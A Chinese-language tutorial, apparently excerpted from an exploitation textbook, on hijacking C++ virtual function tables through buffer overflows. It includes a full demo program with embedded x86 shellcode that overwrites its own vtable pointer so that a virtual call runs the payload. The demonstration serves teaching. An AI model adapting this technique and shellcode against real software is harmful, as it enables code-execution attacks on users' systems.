Loading... 抛开面向对象不谈，仅仅关注漏洞利用，我们可以简单地把虚函数和虚表理解为以下几个要点。 1. C++类的成员函数在声明时，若使用关键字virtual进行修饰，则被称为虚函数； 2. 一个类中可能有很多个虚函数； 3. 虚函数的入口地址被统一保存在虚表（Vtable）中； 4. 对象在使用虚函数时，先通过虚表指针找到虚表，然后从虚表中取出最终的函数入口地址进行调用； 5. 虚表指针保存在对象的内存空间中，紧接着虚表指针的是其它成员变量； 6. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性。 虚函数的实现如图6.3.1所示。  如果对象中的成员变量发生了溢出，有机会修改对象中的虚表指针或修改虚表中的虚函数指针，那么在程序调用虚函数时就会跑去执行shellcode。 下面这段程序用于演示这种漏洞利用方式。 ``` #include "windows.h" #include "iostream.h" char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x1C\x88\x40\x00";//set fake virtual function pointer class Failwest { public: char buf[200]; virtual void test(void) { cout<<"Class Vtable::test()"<<endl; } }; Failwest overflow, *p; void main(void) { char * p_vtable; p_vtable=overflow.buf-4;//point to virtual table //reset fake virtual table to 0x004088cc //the address may need to ajusted via runtime debug p_vtable[0]=0xCC; p_vtable[1]=0x88; p_vtable[2]=0x40; p_vtable[3]=0x00; //0X004088CC strcpy(overflow.buf,shellcode);//set fake virtual function pointer p=&overflow; p->test(); } ``` 对这段程序需要说明如下。 1. 虚表指针位于成员变量char buf[200]之前，程序中通过p_vtable=overflow.buf-4定位到这个指针； 2. 修改虚表指针指向缓冲区的0x004088CC处； 3. 程序执行到p->test()时，按照伪造的虚函数指针去0x004088CC寻找虚表，这里正好是缓冲区里shellcode的末尾。在这里填上shellcode的起始位置0x0040881C作为伪造的虚函数入口地址，程序将最终跳去执行shellcode，如图6.3.2所示。 由于虚表指针位于成员变量之前，溢出只能向后覆盖数据，所以只能向后覆盖数据，所以很可惜这种利用方式在“栈溢出”场景下有一定的局限性。 ``` 题外话：之所以给"堆溢出"大引号，是因为对象的内存空间位于堆中。然而，称之为"堆溢出"也不恨恰当，因为这里所讨论的仍然是连续性覆盖，没有涉及DWORD SHOOT。也许，这里比较准确的描述是"数组溢出"或连续性覆盖"。 ``` 当然，如果内存中存在多个对象且能够溢出到下一个对象空间中去，"连续性覆盖"还是有攻击的机会的，如图6.3.4所示。 对于DWORD SHOOT的利用场景，攻击虚函数会更容易些。修改虚表指针或直接修改虚函数都是不错的选择。  最后修改：2021 年 12 月 02 日 04 : 57 PM © 允许规范转载